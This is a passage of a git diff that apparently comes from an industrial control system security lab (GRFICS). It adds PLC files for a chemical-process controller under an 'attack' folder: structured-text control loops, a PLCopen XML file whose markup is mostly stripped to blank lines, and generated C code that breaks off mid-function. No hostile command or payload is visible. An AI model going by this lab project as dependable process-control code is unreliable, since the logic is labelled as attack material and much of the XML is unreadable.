BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit AT %QX0.0 : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.xml b/plc/GRFICS_Workstation_Docs/Documents/attack.xml new file mode 100644 index 0000000..725d547 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.xml @@ -0,0 +1,5136 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 30000 + + + + + + + + + + + + + hmi_pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 16000 + + + + + + + + + + + + + hmi_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + + + hmi_purge_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + hmi_purge_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 1 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 32000 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + pressure_sp_real + + + + + + + pressure_k + + + + + + + pressure_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure_sp + + + + + + + + + + + + + pressure_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos + + + + + + + valve_pos_nominal + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + product_flow + + + + + + + + + + + + + product_flow_real + + + + + + + product_flow_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + flow_set_in + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + curr_pos_real + + + + + + + curr_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_k + + + + + + + flow_ti + + + + + + + cycle_time + + + + + + + flow_td + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_in_purge_real + + + + + + + a_setpoint_real + + + + + + + composition_k + + + + + + + composition_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_in_purge + + + + + + + + + + + + + a_in_purge_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_setpoint + + + + + + + + + + + + + a_setpoint_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + valve_pos_nominal + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + override_sp_real + + + + + + + override_k + + + + + + + override_ti + + + + + + + cycle_time + + + + + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + curr_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + + + + + + + curr_sp_real + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 150.0 + + + + + + + 50.0 + + + + + + + 0.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 500.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp_real + + + + + + + product_sp_real + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp + + + + + + + curr_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + input_uint + + + + + + + 2 + + + + + + + + + + + + + + + output_int + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + real_in + + + + + + + 100.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + uint_out + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + liquid_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + level_real + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + + + + + + + pos_real + + + + + + + pos_min + + + + + + + level_real + + + + + + + level_sp + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + sp_real + + + + + + + level_k + + + + + + + + + + + + + pos_update_real + + + + + + + pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + cycle_time + + + + + + + level_ti + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml new file mode 100644 index 0000000..c5afdb1 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml @@ -0,0 +1,4 @@ + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c new file mode 100644 index 0000000..0dd2355 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c @@ -0,0 +1,29 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +#include "accessor.h" + +#include "POUS.h" + +// CONFIGURATION CONFIG0 + +void RES0_init__(void); + +void config_init__(void) { + BOOL retain; + retain = 0; + + RES0_init__(); +} + +void RES0_run__(unsigned long tick); + +void config_run__(unsigned long tick) { + RES0_run__(tick); +} +unsigned long long common_ticktime__ = 50000000ULL; /*ns*/ +unsigned long greatest_tick_count__ = 0UL; /*tick*/ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h new file mode 100644 index 0000000..7050753 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h @@ -0,0 +1,2 @@ +#include "beremiz.h" + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o new file mode 100644 index 0000000..3d987f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c new file mode 100644 index 0000000..d1856d9 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c @@ -0,0 +1,1081 @@ +void LOGGER_init__(LOGGER *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MSG,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->LEVEL,LOGLEVEL__INFO,retain) + __INIT_VAR(data__->TRIG0,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void LOGGER_body__(LOGGER *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + if ((__GET_VAR(data__->TRIG,) && !(__GET_VAR(data__->TRIG0,)))) { + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) + + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + + #undef GetFbVar + #undef SetFbVar +; + }; + __SET_VAR(data__->,TRIG0,,__GET_VAR(data__->TRIG,)); + + goto __end; + +__end: + return; +} // LOGGER_body__() + + + + + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_EVAL_body__() + + + + + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_POLL_body__() + + + + + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->N,0,retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + PYTHON_EVAL_init__(&data__->PY_EVAL,retain); + __INIT_VAR(data__->COUNTER,0,retain) + __INIT_VAR(data__->ADD10_OUT,0,retain) + __INIT_VAR(data__->EQ13_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->SEL15_OUT,0,retain) + __INIT_VAR(data__->AND7_OUT,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,ADD10_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->COUNTER,), + (UINT)1)); + __SET_VAR(data__->,EQ13_OUT,,EQ__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->N,), + (UINT)__GET_VAR(data__->ADD10_OUT,))); + __SET_VAR(data__->,SEL15_OUT,,SEL__UINT__BOOL__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (UINT)__GET_VAR(data__->ADD10_OUT,), + (UINT)0)); + __SET_VAR(data__->,COUNTER,,__GET_VAR(data__->SEL15_OUT,)); + __SET_VAR(data__->,AND7_OUT,,AND__BOOL__BOOL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (BOOL)__GET_VAR(data__->TRIG,))); + __SET_VAR(data__->PY_EVAL.,TRIG,,__GET_VAR(data__->AND7_OUT,)); + __SET_VAR(data__->PY_EVAL.,CODE,,__GET_VAR(data__->CODE,)); + PYTHON_EVAL_body__(&data__->PY_EVAL); + __SET_VAR(data__->,ACK,,__GET_VAR(data__->PY_EVAL.ACK,)); + __SET_VAR(data__->,RESULT,,__GET_VAR(data__->PY_EVAL.RESULT,)); + + goto __end; + +__end: + return; +} // PYTHON_GEAR_body__() + + + + + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->RAW_INPUT_VALUE,0,retain) + __INIT_VAR(data__->SCALED_REAL,0,retain) + __INIT_VAR(data__->REAL_MAX,0,retain) + __INIT_VAR(data__->REAL_MIN,0,retain) + __INIT_VAR(data__->RAW_MAX,65535,retain) + __INIT_VAR(data__->RAW_MIN,0,retain) + __INIT_VAR(data__->RATE,0,retain) + __INIT_VAR(data__->OFFSET,0,retain) +} + +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,RATE,,((__GET_VAR(data__->REAL_MAX,) - __GET_VAR(data__->REAL_MIN,)) / UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)(__GET_VAR(data__->RAW_MAX,) - __GET_VAR(data__->RAW_MIN,))))); + __SET_VAR(data__->,OFFSET,,(__GET_VAR(data__->REAL_MIN,) - (UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_MIN,)) * __GET_VAR(data__->RATE,)))); + __SET_VAR(data__->,SCALED_REAL,,((UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_INPUT_VALUE,)) * __GET_VAR(data__->RATE,)) + __GET_VAR(data__->OFFSET,))); + + goto __end; + +__end: + return; +} // SCALE_TO_REAL_body__() + + + + + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->REAL_IN,0,retain) + __INIT_VAR(data__->UINT_OUT,0,retain) + __INIT_VAR(data__->DIV1_OUT,0,retain) + __INIT_VAR(data__->MUL4_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT6_OUT,0,retain) +} + +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV1_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->REAL_IN,), + (REAL)100.0)); + __SET_VAR(data__->,MUL4_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV1_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT6_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL4_OUT,))); + __SET_VAR(data__->,UINT_OUT,,__GET_VAR(data__->REAL_TO_UINT6_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_UINT_body__() + + + + + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->A_IN_PURGE_REAL,47.00,retain) + __INIT_VAR(data__->A_IN_PURGE,32000,retain) + __INIT_VAR(data__->A_SETPOINT_REAL,47.00,retain) + __INIT_VAR(data__->A_SETPOINT,32000,retain) + __INIT_VAR(data__->CURR_POS,16000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,25.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,25.0,retain) + __INIT_VAR(data__->NEW_POS,16000,retain) + __INIT_VAR(data__->COMPOSITION_K,1.0,retain) + __INIT_VAR(data__->COMPOSITION_TI,99.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL3,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->COMP_MAX,100.0,retain) + __INIT_VAR(data__->COMP_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB45_OUT,0,retain) + __INIT_VAR(data__->MUL46_OUT,0,retain) + __INIT_VAR(data__->ADD42_OUT,0,retain) + __INIT_VAR(data__->LIMIT44_OUT,0,retain) +} + +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + 